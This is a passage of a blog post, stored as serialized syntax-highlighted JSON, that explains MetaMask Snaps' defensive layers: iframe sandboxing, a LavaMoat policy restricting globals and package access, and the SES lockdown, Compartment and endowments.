createWindow",{"type":21,"tag":85,"props":36927,"children":36928},{"style":114},[36929],{"type":26,"value":1439},{"type":21,"tag":85,"props":36931,"children":36932},{"style":102},[36933],{"type":26,"value":18116},{"type":21,"tag":85,"props":36935,"children":36936},{"style":114},[36937],{"type":26,"value":73},{"type":21,"tag":85,"props":36939,"children":36940},{"style":120},[36941],{"type":26,"value":36942},"iframeUrl",{"type":21,"tag":85,"props":36944,"children":36945},{"style":114},[36946],{"type":26,"value":73},{"type":21,"tag":85,"props":36948,"children":36949},{"style":1021},[36950],{"type":26,"value":36951},"toString",{"type":21,"tag":85,"props":36953,"children":36954},{"style":114},[36955],{"type":26,"value":18799},{"type":21,"tag":85,"props":36957,"children":36958},{"style":120},[36959],{"type":26,"value":36645},{"type":21,"tag":85,"props":36961,"children":36962},{"style":114},[36963],{"type":26,"value":777},{"type":21,"tag":85,"props":36965,"children":36966},{"class":87,"line":501},[36967],{"type":21,"tag":85,"props":36968,"children":36969},{"emptyLinePlaceholder":16},[36970],{"type":26,"value":703},{"type":21,"tag":85,"props":36972,"children":36973},{"class":87,"line":697},[36974,36978,36982,36986,36990,36995],{"type":21,"tag":85,"props":36975,"children":36976},{"style":114},[36977],{"type":26,"value":36907},{"type":21,"tag":85,"props":36979,"children":36980},{"style":120},[36981],{"type":26,"value":36709},{"type":21,"tag":85,"props":36983,"children":36984},{"style":169},[36985],{"type":26,"value":1941},{"type":21,"tag":85,"props":36987,"children":36988},{"style":102},[36989],{"type":26,"value":32378},{"type":21,"tag":85,"props":36991,"children":36992},{"style":1021},[36993],{"type":26,"value":36994}," WindowPostMessageStream",{"type":21,"tag":85,"props":36996,"children":36997},{"style":114},[36998],{"type":26,"value":15559},{"type":21,"tag":85,"props":37000,"children":37001},{"class":87,"line":706},[37002,37007,37012],{"type":21,"tag":85,"props":37003,"children":37004},{"style":120},[37005],{"type":26,"value":37006},"      name:",{"type":21,"tag":85,"props":37008,"children":37009},{"style":5026},[37010],{"type":26,"value":37011}," 'parent'",{"type":21,"tag":85,"props":37013,"children":37014},{"style":114},[37015],{"type":26,"value":182},{"type":21,"tag":85,"props":37017,"children":37018},{"class":87,"line":1100},[37019,37024,37029],{"type":21,"tag":85,"props":37020,"children":37021},{"style":120},[37022],{"type":26,"value":37023},"      target:",{"type":21,"tag":85,"props":37025,"children":37026},{"style":5026},[37027],{"type":26,"value":37028}," 'child'",{"type":21,"tag":85,"props":37030,"children":37031},{"style":114},[37032],{"type":26,"value":182},{"type":21,"tag":85,"props":37034,"children":37035},{"class":87,"line":1339},[37036,37041,37046],{"type":21,"tag":85,"props":37037,"children":37038},{"style":120},[37039],{"type":26,"value":37040},"      targetWindow:",{"type":21,"tag":85,"props":37042,"children":37043},{"style":120},[37044],{"type":26,"value":37045}," iframeWindow",{"type":21,"tag":85,"props":37047,"children":37048},{"style":114},[37049],{"type":26,"value":182},{"type":21,"tag":85,"props":37051,"children":37052},{"class":87,"line":1348},[37053,37058,37063],{"type":21,"tag":85,"props":37054,"children":37055},{"style":120},[37056],{"type":26,"value":37057},"      targetOrigin:",{"type":21,"tag":85,"props":37059,"children":37060},{"style":5026},[37061],{"type":26,"value":37062}," '*'",{"type":21,"tag":85,"props":37064,"children":37065},{"style":114},[37066],{"type":26,"value":182},{"type":21,"tag":85,"props":37068,"children":37069},{"class":87,"line":1386},[37070],{"type":21,"tag":85,"props":37071,"children":37072},{"style":114},[37073],{"type":26,"value":32702},{"type":21,"tag":85,"props":37075,"children":37076},{"class":87,"line":1394},[37077],{"type":21,"tag":85,"props":37078,"children":37079},{"emptyLinePlaceholder":16},[37080],{"type":26,"value":703},{"type":21,"tag":85,"props":37082,"children":37083},{"class":87,"line":1402},[37084,37089,37093,37097,37101],{"type":21,"tag":85,"props":37085,"children":37086},{"style":114},[37087],{"type":26,"value":37088},"    return { worker: ",{"type":21,"tag":85,"props":37090,"children":37091},{"style":120},[37092],{"type":26,"value":36912},{"type":21,"tag":85,"props":37094,"children":37095},{"style":114},[37096],{"type":26,"value":256},{"type":21,"tag":85,"props":37098,"children":37099},{"style":120},[37100],{"type":26,"value":36709},{"type":21,"tag":85,"props":37102,"children":37103},{"style":114},[37104],{"type":26,"value":18723},{"type":21,"tag":85,"props":37106,"children":37107},{"class":87,"line":3145},[37108],{"type":21,"tag":85,"props":37109,"children":37110},{"style":114},[37111],{"type":26,"value":191},{"type":21,"tag":22,"props":37113,"children":37114},{},[37115,37117,37123,37125,37132],{"type":26,"value":37116},"Here the iframe is created via ",{"type":21,"tag":66,"props":37118,"children":37120},{"className":37119},[],[37121],{"type":26,"value":37122},"createWindow",{"type":26,"value":37124},", which is defined in snaps-utils ",{"type":21,"tag":335,"props":37126,"children":37129},{"href":37127,"rel":37128},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[339],[37130],{"type":26,"value":37131},"package",{"type":26,"value":172},{"type":21,"tag":75,"props":37134,"children":37136},{"className":36378,"code":37135,"language":36380,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[37137],{"type":21,"tag":66,"props":37138,"children":37139},{"__ignoreMap":7},[37140,37183,37221,37258,37265,37285,37323,37330,37367],{"type":21,"tag":85,"props":37141,"children":37142},{"class":87,"line":88},[37143,37147,37152,37156,37161,37165,37170,37174,37179],{"type":21,"tag":85,"props":37144,"children":37145},{"style":102},[37146],{"type":26,"value":10069},{"type":21,"tag":85,"props":37148,"children":37149},{"style":120},[37150],{"type":26,"value":37151}," iframe",{"type":21,"tag":85,"props":37153,"children":37154},{"style":169},[37155],{"type":26,"value":1941},{"type":21,"tag":85,"props":37157,"children":37158},{"style":120},[37159],{"type":26,"value":37160}," document",{"type":21,"tag":85,"props":37162,"children":37163},{"style":114},[37164],{"type":26,"value":73},{"type":21,"tag":85,"props":37166,"children":37167},{"style":1021},[37168],{"type":26,"value":37169},"createElement",{"type":21,"tag":85,"props":37171,"children":37172},{"style":114},[37173],{"type":26,"value":1439},{"type":21,"tag":85,"props":37175,"children":37176},{"style":5026},[37177],{"type":26,"value":37178},"'iframe'",{"type":21,"tag":85,"props":37180,"children":37181},{"style":114},[37182],{"type":26,"value":777},{"type":21,"tag":85,"props":37184,"children":37185},{"class":87,"line":98},[37186,37191,37195,37200,37204,37209,37213,37217],{"type":21,"tag":85,"props":37187,"children":37188},{"style":120},[37189],{"type":26,"value":37190},"    iframe",{"type":21,"tag":85,"props":37192,"children":37193},{"style":114},[37194],{"type":26,"value":73},{"type":21,"tag":85,"props":37196,"children":37197},{"style":1021},[37198],{"type":26,"value":37199},"setAttribute",{"type":21,"tag":85,"props":37201,"children":37202},{"style":114},[37203],{"type":26,"value":1439},{"type":21,"tag":85,"props":37205,"children":37206},{"style":5026},[37207],{"type":26,"value":37208},"'id'",{"type":21,"tag":85,"props":37210,"children":37211},{"style":114},[37212],{"type":26,"value":256},{"type":21,"tag":85,"props":37214,"children":37215},{"style":120},[37216],{"type":26,"value":4253},{"type":21,"tag":85,"props":37218,"children":37219},{"style":114},[37220],{"type":26,"value":777},{"type":21,"tag":85,"props":37222,"children":37223},{"class":87,"line":151},[37224,37228,37232,37236,37240,37245,37249,37254],{"type":21,"tag":85,"props":37225,"children":37226},{"style":120},[37227],{"type":26,"value":37190},{"type":21,"tag":85,"props":37229,"children":37230},{"style":114},[37231],{"type":26,"value":73},{"type":21,"tag":85,"props":37233,"children":37234},{"style":1021},[37235],{"type":26,"value":37199},{"type":21,"tag":85,"props":37237,"children":37238},{"style":114},[37239],{"type":26,"value":1439},{"type":21,"tag":85,"props":37241,"children":37242},{"style":5026},[37243],{"type":26,"value":37244},"'data-testid'",{"type":21,"tag":85,"props":37246,"children":37247},{"style":114},[37248],{"type":26,"value":256},{"type":21,"tag":85,"props":37250,"children":37251},{"style":5026},[37252],{"type":26,"value":37253},"'snaps-iframe'",{"type":21,"tag":85,"props":37255,"children":37256},{"style":114},[37257],{"type":26,"value":777},{"type":21,"tag":85,"props":37259,"children":37260},{"class":87,"line":160},[37261],{"type":21,"tag":85,"props":37262,"children":37263},{"emptyLinePlaceholder":16},[37264],{"type":26,"value":703},{"type":21,"tag":85,"props":37266,"children":37267},{"class":87,"line":185},[37268,37272,37276,37281],{"type":21,"tag":85,"props":37269,"children":37270},{"style":2885},[37271],{"type":26,"value":12696},{"type":21,"tag":85,"props":37273,"children":37274},{"style":114},[37275],{"type":26,"value":717},{"type":21,"tag":85,"props":37277,"children":37278},{"style":120},[37279],{"type":26,"value":37280},"sandbox",{"type":21,"tag":85,"props":37282,"children":37283},{"style":114},[37284],{"type":26,"value":15222},{"type":21,"tag":85,"props":37286,"children":37287},{"class":87,"line":501},[37288,37293,37297,37301,37305,37310,37314,37319],{"type":21,"tag":85,"props":37289,"children":37290},{"style":120},[37291],{"type":26,"value":37292},"      iframe",{"type":21,"tag":85,"props":37294,"children":37295},{"style":114},[37296],{"type":26,"value":73},{"type":21,"tag":85,"props":37298,"children":37299},{"style":1021},[37300],{"type":26,"value":37199},{"type":21,"tag":85,"props":37302,"children":37303},{"style":114},[37304],{"type":26,"value":1439},{"type":21,"tag":85,"props":37306,"children":37307},{"style":5026},[37308],{"type":26,"value":37309},"'sandbox'",{"type":21,"tag":85,"props":37311,"children":37312},{"style":114},[37313],{"type":26,"value":256},{"type":21,"tag":85,"props":37315,"children":37316},{"style":5026},[37317],{"type":26,"value":37318},"'allow-scripts'",{"type":21,"tag":85,"props":37320,"children":37321},{"style":114},[37322],{"type":26,"value":777},{"type":21,"tag":85,"props":37324,"children":37325},{"class":87,"line":697},[37326],{"type":21,"tag":85,"props":37327,"children":37328},{"style":114},[37329],{"type":26,"value":507},{"type":21,"tag":85,"props":37331,"children":37332},{"class":87,"line":706},[37333,37337,37341,37345,37349,37354,37358,37363],{"type":21,"tag":85,"props":37334,"children":37335},{"style":120},[37336],{"type":26,"value":37190},{"type":21,"tag":85,"props":37338,"children":37339},{"style":114},[37340],{"type":26,"value":73},{"type":21,"tag":85,"props":37342,"children":37343},{"style":1021},[37344],{"type":26,"value":37199},{"type":21,"tag":85,"props":37346,"children":37347},{"style":114},[37348],{"type":26,"value":1439},{"type":21,"tag":85,"props":37350,"children":37351},{"style":5026},[37352],{"type":26,"value":37353},"'src'",{"type":21,"tag":85,"props":37355,"children":37356},{"style":114},[37357],{"type":26,"value":256},{"type":21,"tag":85,"props":37359,"children":37360},{"style":120},[37361],{"type":26,"value":37362},"uri",{"type":21,"tag":85,"props":37364,"children":37365},{"style":114},[37366],{"type":26,"value":777},{"type":21,"tag":85,"props":37368,"children":37369},{"class":87,"line":1100},[37370,37374,37378,37382,37386,37391,37395,37400],{"type":21,"tag":85,"props":37371,"children":37372},{"style":120},[37373],{"type":26,"value":35120},{"type":21,"tag":85,"props":37375,"children":37376},{"style":114},[37377],{"type":26,"value":73},{"type":21,"tag":85,"props":37379,"children":37380},{"style":120},[37381],{"type":26,"value":32845},{"type":21,"tag":85,"props":37383,"children":37384},{"style":114},[37385],{"type":26,"value":73},{"type":21,"tag":85,"props":37387,"children":37388},{"style":1021},[37389],{"type":26,"value":37390},"appendChild",{"type":21,"tag":85,"props":37392,"children":37393},{"style":114},[37394],{"type":26,"value":1439},{"type":21,"tag":85,"props":37396,"children":37397},{"style":120},[37398],{"type":26,"value":37399},"iframe",{"type":21,"tag":85,"props":37401,"children":37402},{"style":114},[37403],{"type":26,"value":777},{"type":21,"tag":22,"props":37405,"children":37406},{},[37407],{"type":26,"value":37408},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":21,"tag":10022,"props":37410,"children":37412},{"id":37411},"lavamoat-against-supply-chain-attacks-layer-2",[37413],{"type":26,"value":37414},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":21,"tag":22,"props":37416,"children":37417},{},[37418],{"type":26,"value":37419},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":21,"tag":22,"props":37421,"children":37422},{},[37423,37425,37431],{"type":26,"value":37424},"Malicious dependencies might utilize built-in modules like ",{"type":21,"tag":66,"props":37426,"children":37428},{"className":37427},[],[37429],{"type":26,"value":37430},"fs",{"type":26,"value":37432},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":21,"tag":22,"props":37434,"children":37435},{},[37436],{"type":26,"value":37437},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":21,"tag":22,"props":37439,"children":37440},{},[37441,37443,37450],{"type":26,"value":37442},"This is how a Policy file related to the iframes ",{"type":21,"tag":335,"props":37444,"children":37447},{"href":37445,"rel":37446},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[339],[37448],{"type":26,"value":37449},"looks",{"type":26,"value":172},{"type":21,"tag":75,"props":37452,"children":37454},{"className":34442,"code":37453,"language":34444,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[37455],{"type":21,"tag":66,"props":37456,"children":37457},{"__ignoreMap":7},[37458,37471,37483,37503,37523,37543,37563,37583,37603,37623,37640,37648,37660,37680,37696,37703],{"type":21,"tag":85,"props":37459,"children":37460},{"class":87,"line":88},[37461,37466],{"type":21,"tag":85,"props":37462,"children":37463},{"style":5026},[37464],{"type":26,"value":37465},"\"@metamask/post-message-stream\"",{"type":21,"tag":85,"props":37467,"children":37468},{"style":114},[37469],{"type":26,"value":37470},": {\n",{"type":21,"tag":85,"props":37472,"children":37473},{"class":87,"line":98},[37474,37479],{"type":21,"tag":85,"props":37475,"children":37476},{"style":120},[37477],{"type":26,"value":37478},"      \"globals\"",{"type":21,"tag":85,"props":37480,"children":37481},{"style":114},[37482],{"type":26,"value":37470},{"type":21,"tag":85,"props":37484,"children":37485},{"class":87,"line":151},[37486,37491,37495,37499],{"type":21,"tag":85,"props":37487,"children":37488},{"style":120},[37489],{"type":26,"value":37490},"        \"MessageEvent.prototype\"",{"type":21,"tag":85,"props":37492,"children":37493},{"style":114},[37494],{"type":26,"value":15750},{"type":21,"tag":85,"props":37496,"children":37497},{"style":102},[37498],{"type":26,"value":4760},{"type":21,"tag":85,"props":37500,"children":37501},{"style":114},[37502],{"type":26,"value":182},{"type":21,"tag":85,"props":37504,"children":37505},{"class":87,"line":160},[37506,37511,37515,37519],{"type":21,"tag":85,"props":37507,"children":37508},{"style":120},[37509],{"type":26,"value":37510},"        \"WorkerGlobalScope\"",{"type":21,"tag":85,"props":37512,"children":37513},{"style":114},[37514],{"type":26,"value":15750},{"type":21,"tag":85,"props":37516,"children":37517},{"style":102},[37518],{"type":26,"value":4760},{"type":21,"tag":85,"props":37520,"children":37521},{"style":114},[37522],{"type":26,"value":182},{"type":21,"tag":85,"props":37524,"children":37525},{"class":87,"line":185},[37526,37531,37535,37539],{"type":21,"tag":85,"props":37527,"children":37528},{"style":120},[37529],{"type":26,"value":37530},"        \"addEventListener\"",{"type":21,"tag":85,"props":37532,"children":37533},{"style":114},[37534],{"type":26,"value":15750},{"type":21,"tag":85,"props":37536,"children":37537},{"style":102},[37538],{"type":26,"value":4760},{"type":21,"tag":85,"props":37540,"children":37541},{"style":114},[37542],{"type":26,"value":182},{"type":21,"tag":85,"props":37544,"children":37545},{"class":87,"line":501},[37546,37551,37555,37559],{"type":21,"tag":85,"props":37547,"children":37548},{"style":120},[37549],{"type":26,"value":37550},"        \"browser\"",{"type":21,"tag":85,"props":37552,"children":37553},{"style":114},[37554],{"type":26,"value":15750},{"type":21,"tag":85,"props":37556,"children":37557},{"style":102},[37558],{"type":26,"value":4760},{"type":21,"tag":85,"props":37560,"children":37561},{"style":114},[37562],{"type":26,"value":182},{"type":21,"tag":85,"props":37564,"children":37565},{"class":87,"line":697},[37566,37571,37575,37579],{"type":21,"tag":85,"props":37567,"children":37568},{"style":120},[37569],{"type":26,"value":37570},"        \"chrome\"",{"type":21,"tag":85,"props":37572,"children":37573},{"style":114},[37574],{"type":26,"value":15750},{"type":21,"tag":85,"props":37576,"children":37577},{"style":102},[37578],{"type":26,"value":4760},{"type":21,"tag":85,"props":37580,"children":37581},{"style":114},[37582],{"type":26,"value":182},{"type":21,"tag":85,"props":37584,"children":37585},{"class":87,"line":706},[37586,37591,37595,37599],{"type":21,"tag":85,"props":37587,"children":37588},{"style":120},[37589],{"type":26,"value":37590},"        \"location.origin\"",{"type":21,"tag":85,"props":37592,"children":37593},{"style":114},[37594],{"type":26,"value":15750},{"type":21,"tag":85,"props":37596,"children":37597},{"style":102},[37598],{"type":26,"value":4760},{"type":21,"tag":85,"props":37600,"children":37601},{"style":114},[37602],{"type":26,"value":182},{"type":21,"tag":85,"props":37604,"children":37605},{"class":87,"line":1100},[37606,37611,37615,37619],{"type":21,"tag":85,"props":37607,"children":37608},{"style":120},[37609],{"type":26,"value":37610},"        \"postMessage\"",{"type":21,"tag":85,"props":37612,"children":37613},{"style":114},[37614],{"type":26,"value":15750},{"type":21,"tag":85,"props":37616,"children":37617},{"style":102},[37618],{"type":26,"value":4760},{"type":21,"tag":85,"props":37620,"children":37621},{"style":114},[37622],{"type":26,"value":182},{"type":21,"tag":85,"props":37624,"children":37625},{"class":87,"line":1339},[37626,37631,37635],{"type":21,"tag":85,"props":37627,"children":37628},{"style":120},[37629],{"type":26,"value":37630},"        \"removeEventListener\"",{"type":21,"tag":85,"props":37632,"children":37633},{"style":114},[37634],{"type":26,"value":15750},{"type":21,"tag":85,"props":37636,"children":37637},{"style":102},[37638],{"type":26,"value":37639},"true\n",{"type":21,"tag":85,"props":37641,"children":37642},{"class":87,"line":1348},[37643],{"type":21,"tag":85,"props":37644,"children":37645},{"style":114},[37646],{"type":26,"value":37647},"      },\n",{"type":21,"tag":85,"props":37649,"children":37650},{"class":87,"line":1386},[37651,37656],{"type":21,"tag":85,"props":37652,"children":37653},{"style":120},[37654],{"type":26,"value":37655},"      \"packages\"",{"type":21,"tag":85,"props":37657,"children":37658},{"style":114},[37659],{"type":26,"value":37470},{"type":21,"tag":85,"props":37661,"children":37662},{"class":87,"line":1394},[37663,37668,37672,37676],{"type":21,"tag":85,"props":37664,"children":37665},{"style":120},[37666],{"type":26,"value":37667},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":21,"tag":85,"props":37669,"children":37670},{"style":114},[37671],{"type":26,"value":15750},{"type":21,"tag":85,"props":37673,"children":37674},{"style":102},[37675],{"type":26,"value":4760},{"type":21,"tag":85,"props":37677,"children":37678},{"style":114},[37679],{"type":26,"value":182},{"type":21,"tag":85,"props":37681,"children":37682},{"class":87,"line":1402},[37683,37688,37692],{"type":21,"tag":85,"props":37684,"children":37685},{"style":120},[37686],{"type":26,"value":37687},"        \"@metamask/post-message-stream>readable-stream\"",{"type":21,"tag":85,"props":37689,"children":37690},{"style":114},[37691],{"type":26,"value":15750},{"type":21,"tag":85,"props":37693,"children":37694},{"style":102},[37695],{"type":26,"value":37639},{"type":21,"tag":85,"props":37697,"children":37698},{"class":87,"line":3145},[37699],{"type":21,"tag":85,"props":37700,"children":37701},{"style":114},[37702],{"type":26,"value":13081},{"type":21,"tag":85,"props":37704,"children":37705},{"class":87,"line":3246},[37706],{"type":21,"tag":85,"props":37707,"children":37708},{"style":114},[37709],{"type":26,"value":507},{"type":21,"tag":22,"props":37711,"children":37712},{},[37713,37715,37721,37723,37729,37731,37737,37739,37745,37746,37752],{"type":26,"value":37714},"One crucial aspect of the policy, apart from the ",{"type":21,"tag":66,"props":37716,"children":37718},{"className":37717},[],[37719],{"type":26,"value":37720},"globals",{"type":26,"value":37722}," section, is the ",{"type":21,"tag":66,"props":37724,"children":37726},{"className":37725},[],[37727],{"type":26,"value":37728},"packages",{"type":26,"value":37730}," segment. This section permits the ",{"type":21,"tag":66,"props":37732,"children":37734},{"className":37733},[],[37735],{"type":26,"value":37736},"@metamask/post-message-stream",{"type":26,"value":37738},"package to exclusively interact with the package ",{"type":21,"tag":66,"props":37740,"children":37742},{"className":37741},[],[37743],{"type":26,"value":37744},"@metamask/utils",{"type":26,"value":11408},{"type":21,"tag":66,"props":37747,"children":37749},{"className":37748},[],[37750],{"type":26,"value":37751},"readable-stream",{"type":26,"value":37753},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":21,"tag":22,"props":37755,"children":37756},{},[37757,37759,37765],{"type":26,"value":37758},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":21,"tag":66,"props":37760,"children":37762},{"className":37761},[],[37763],{"type":26,"value":37764},"lockdown",{"type":26,"value":37766}," function to freeze all javascript builtins prototypes.",{"type":21,"tag":10022,"props":37768,"children":37770},{"id":37769},"secure-ecmascript-ses-sandbox-layer-3",[37771],{"type":26,"value":37772},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":21,"tag":22,"props":37774,"children":37775},{},[37776,37778,37785],{"type":26,"value":37777},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":21,"tag":335,"props":37779,"children":37782},{"href":37780,"rel":37781},"https://github.com/endojs/endo/tree/master/packages/ses",[339],[37783],{"type":26,"value":37784},"Secure EcmaScript (SES)",{"type":26,"value":37786}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":21,"tag":19318,"props":37788,"children":37790},{"id":37789},"ses-fundamentals",[37791],{"type":26,"value":37792},"SES Fundamentals",{"type":21,"tag":37794,"props":37795,"children":37796},"h5",{"id":37764},[37797],{"type":26,"value":37798},"Lockdown",{"type":21,"tag":22,"props":37800,"children":37801},{},[37802,37804,37810],{"type":26,"value":37803},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":21,"tag":66,"props":37805,"children":37807},{"className":37806},[],[37808],{"type":26,"value":37809},"lockdown()",{"type":26,"value":37811}," function, which protects javascript objects against some attacks, mainly:",{"type":21,"tag":841,"props":37813,"children":37814},{},[37815,37828],{"type":21,"tag":845,"props":37816,"children":37817},{},[37818,37820,37826],{"type":26,"value":37819},"Prototype Pollution\nLockdown executes ",{"type":21,"tag":66,"props":37821,"children":37823},{"className":37822},[],[37824],{"type":26,"value":37825},"Object.freeze",{"type":26,"value":37827}," against all javascript builtins prototypes, preventing these attacks.",{"type":21,"tag":845,"props":37829,"children":37830},{},[37831,37833,37839,37841,37847],{"type":26,"value":37832},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":21,"tag":66,"props":37834,"children":37836},{"className":37835},[],[37837],{"type":26,"value":37838},"trace",{"type":26,"value":37840}," attribute in an ",{"type":21,"tag":66,"props":37842,"children":37844},{"className":37843},[],[37845],{"type":26,"value":37846},"Error",{"type":26,"value":37848}," object, which contains the stack trace of the error.",{"type":21,"tag":37794,"props":37850,"children":37852},{"id":37851},"compartment",[37853],{"type":26,"value":37854},"Compartment",{"type":21,"tag":22,"props":37856,"children":37857},{},[37858,37860,37866,37868,37873],{"type":26,"value":37859},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":21,"tag":66,"props":37861,"children":37863},{"className":37862},[],[37864],{"type":26,"value":37865},"globalThis",{"type":26,"value":37867}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":21,"tag":66,"props":37869,"children":37871},{"className":37870},[],[37872],{"type":26,"value":37865},{"type":26,"value":37874}," context is incapable of tampering with security.",{"type":21,"tag":75,"props":37876,"children":37878},{"className":36061,"code":37877,"language":36063,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[37879],{"type":21,"tag":66,"props":37880,"children":37881},{"__ignoreMap":7},[37882,37911,37944],{"type":21,"tag":85,"props":37883,"children":37884},{"class":87,"line":88},[37885,37889,37894,37898,37902,37907],{"type":21,"tag":85,"props":37886,"children":37887},{"style":102},[37888],{"type":26,"value":10069},{"type":21,"tag":85,"props":37890,"children":37891},{"style":120},[37892],{"type":26,"value":37893}," c",{"type":21,"tag":85,"props":37895,"children":37896},{"style":169},[37897],{"type":26,"value":1941},{"type":21,"tag":85,"props":37899,"children":37900},{"style":102},[37901],{"type":26,"value":32378},{"type":21,"tag":85,"props":37903,"children":37904},{"style":1021},[37905],{"type":26,"value":37906}," Compartment",{"type":21,"tag":85,"props":37908,"children":37909},{"style":114},[37910],{"type":26,"value":4437},{"type":21,"tag":85,"props":37912,"children":37913},{"class":87,"line":98},[37914,37918,37922,37926,37930,37935,37939],{"type":21,"tag":85,"props":37915,"children":37916},{"style":120},[37917],{"type":26,"value":3918},{"type":21,"tag":85,"props":37919,"children":37920},{"style":114},[37921],{"type":26,"value":73},{"type":21,"tag":85,"props":37923,"children":37924},{"style":120},[37925],{"type":26,"value":37865},{"type":21,"tag":85,"props":37927,"children":37928},{"style":169},[37929],{"type":26,"value":31867},{"type":21,"tag":85,"props":37931,"children":37932},{"style":120},[37933],{"type":26,"value":37934}," globalThis",{"type":21,"tag":85,"props":37936,"children":37937},{"style":114},[37938],{"type":26,"value":17649},{"type":21,"tag":85,"props":37940,"children":37941},{"style":92},[37942],{"type":26,"value":37943},"// false\n",{"type":21,"tag":85,"props":37945,"children":37946},{"class":87,"line":151},[37947,37951,37955,37959,37963,37968,37972,37977,37981],{"type":21,"tag":85,"props":37948,"children":37949},{"style":120},[37950],{"type":26,"value":3918},{"type":21,"tag":85,"props":37952,"children":37953},{"style":114},[37954],{"type":26,"value":73},{"type":21,"tag":85,"props":37956,"children":37957},{"style":120},[37958],{"type":26,"value":37865},{"type":21,"tag":85,"props":37960,"children":37961},{"style":114},[37962],{"type":26,"value":73},{"type":21,"tag":85,"props":37964,"children":37965},{"style":120},[37966],{"type":26,"value":37967},"JSON",{"type":21,"tag":85,"props":37969,"children":37970},{"style":169},[37971],{"type":26,"value":31867},{"type":21,"tag":85,"props":37973,"children":37974},{"style":120},[37975],{"type":26,"value":37976}," JSON",{"type":21,"tag":85,"props":37978,"children":37979},{"style":114},[37980],{"type":26,"value":17649},{"type":21,"tag":85,"props":37982,"children":37983},{"style":92},[37984],{"type":26,"value":37985},"// true\n",{"type":21,"tag":22,"props":37987,"children":37988},{},[37989,37991,37997,37999,38005,38007,38012],{"type":26,"value":37990},"Compartment also changes the behaviour of evaluators functions such as ",{"type":21,"tag":66,"props":37992,"children":37994},{"className":37993},[],[37995],{"type":26,"value":37996},"eval",{"type":26,"value":37998}," and the ",{"type":21,"tag":66,"props":38000,"children":38002},{"className":38001},[],[38003],{"type":26,"value":38004},"Function",{"type":26,"value":38006}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":21,"tag":66,"props":38008,"children":38010},{"className":38009},[],[38011],{"type":26,"value":37865},{"type":26,"value":73},{"type":21,"tag":37794,"props":38014,"children":38016},{"id":38015},"endowments",[38017],{"type":26,"value":38018},"Endowments",{"type":21,"tag":22,"props":38020,"children":38021},{},[38022,38024,38028,38030,38035],{"type":26,"value":38023},"While creating a Compartment, it is possible to specify ",{"type":21,"tag":39,"props":38025,"children":38026},{},[38027],{"type":26,"value":38015},{"type":26,"value":38029},". These endowments constitute objects that become accessible within the Compartment's ",{"type":21,"tag":66,"props":38031,"children":38033},{"className":38032},[],[38034],{"type":26,"value":37865},{"type":26,"value":38036},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":21,"tag":22,"props":38038,"children":38039},{},[38040,38042,38048],{"type":26,"value":38041},"In addition, SES provides the ",{"type":21,"tag":66,"props":38043,"children":38045},{"className":38044},[],[38046],{"type":26,"value":38047},"harden()",{"type":26,"value":38049}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":21,"tag":19318,"props":38051,"children":38053},{"id":38052},"setting-up-snaps-execution-env",[38054],{"type":26,"value":38055},"Setting up Snaps Execution Env",{"type":21,"tag":22,"props":38057,"children":38058},{},[38059],{"type":26,"value":38060},"When starting a snap, the setup follows these steps:",{"type":21,"tag":841,"props":38062,"children":38063},{},[38064],{"type":21,"tag":845,"props":38065,"children":38066},{},[38067],{"type":21,"tag":873,"props":38068,"children":38069},{},[38070,38072],{"type":26,"value":38071},"Create endowments based on snap ",{"type":21,"tag":335,"props":38073,"children":38076},{"href":38074,"rel":38075},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[339],[38077],{"type":26,"value":38078},"permissions",{"type":21,"tag":75,"props":38080,"children":38082},{"className":36061,"code":38081,"language":36063,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    